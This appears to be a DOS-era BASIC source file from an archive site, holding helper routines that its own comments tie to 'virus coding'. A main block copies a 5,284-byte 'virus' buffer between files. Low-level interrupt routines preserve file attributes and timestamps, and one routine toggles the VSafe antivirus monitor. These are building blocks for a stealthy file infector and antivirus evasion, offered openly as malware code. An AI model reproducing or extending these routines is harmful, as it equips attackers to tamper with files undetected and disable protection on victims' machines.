home *** CD-ROM | disk | FTP | other *** search
- call sub"Criterror!"
- virus_size=5284
- call sub "AllocDos" virus_size, virus_data
- filename$="image.dat"
- dx=virus_data
- bytesize=5284
- gosub open_file:
- dx=virus_data
- bytesize=5284
- gosub read_file:
- gosub close_file:
- filename$="image.bak"
- gosub open_file:
- dx=virus_data
- bytesize=5284
- gosub write_file:
- gosub close_file:
- print virus_data
- y=virus_data
- z=y+32
- for x=y to z
- a=peek(x)
- a$=chr$(a)
- print a$;
- next x
- end
- rem miscallenous file i/o routines beyond this point. Boring to look
- rem at.:)
-
- get_attr:
- AX = &HEX4300
- DX = VARPTR(Filename$)
- CX = NewAttr
- INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
- return
-
- set_attr:
- AX = &HEX4301
- DX = VARPTR(Filename$)
- CX = NewAttr
- INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
- return
-
- vsafe_toggle:
- ax=&hexfa02
- dx=&hex5945
- bx=vsafe_stats
- int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
- return
-
- get_fdt:
- if file_handle>4 then
- AX=&HEX5700
- BX=FILE_HANDLE
- INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
- NEWDATE=CX
- NEWTIME=DX
- endif
- RETURN
-
- set_fdt:
- if file_handle>4 then
- AX=&HEX5701
- BX=FILE_HANDLE
- CX=NEWDATE
- DX=NEWTIME
- INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
- endif
- RETURN
-
- rem DOS int file i/o driven code beyond this point :)
-
- rem ax=&hex3d00
- rem ax opens file for read in this mode :-)
- rem ax=&hex3d01
- rem ax opens file for write in this mode :-)
- rem ax=&hex3d02
- rem ax opens file for read/write access :) hehehe
-
- open_file:
- AX=&HEX3D02
- DX = VARPTR(Filename$)
- INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
- file_handle=ax
- return
-
- write_file:
- rem this routine will write selected bytes at whatever current position
- rem from whatever buffer i choose into the file.
- rem if the routine did not write all data ax will not equal cx upon
- rem return from int call.
- rem define dx register before calling this routine to point to the
- rem memory address of the buffer area you want to write from. like so:
- rem dx=varptr(buffer(0))
- rem cx is how many bytes to write :)
- if file_handle>4 then
- ax=&hex4000
- bx=file_handle
- cx=bytesize
- int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
- byteswritten=ax
- endif
- return
-
- read_file:
- rem as the name implies, it reads bytes into a buffer. :-)
- rem as with write_file, you need to predefine the dx register for the
- rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
- rem if you don't, this routine will not work, or will overwrite some
- rem other section of memory. And for virus coding, this is very bad! :)
- rem cx register is how many bytes to read :)
- if file_handle>4 then
- ax=&hex3f00
- bx=file_handle
- cx=bytesize
- int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
- bytesread=ax
- endif
- return
-
- close_file:
- rem This routine will close the selected file.
- rem do not try to close handle 2, very nasty... :-(
- if file_handle>4 then
- ax=&hex3e00
- bx=file_handle
- int86(&hex21,ax,bx,na,na,na,na,na,na,na)
- endif
- return
-
- move_file_pointer:
- rem Moves file pointer from start of file to whereever I wanna go
- rem Routine called is patched(hacked) from asilib.lib
- method=0
- call sub "fseek" file_handle, move_way&, method, errcode
- return
-
-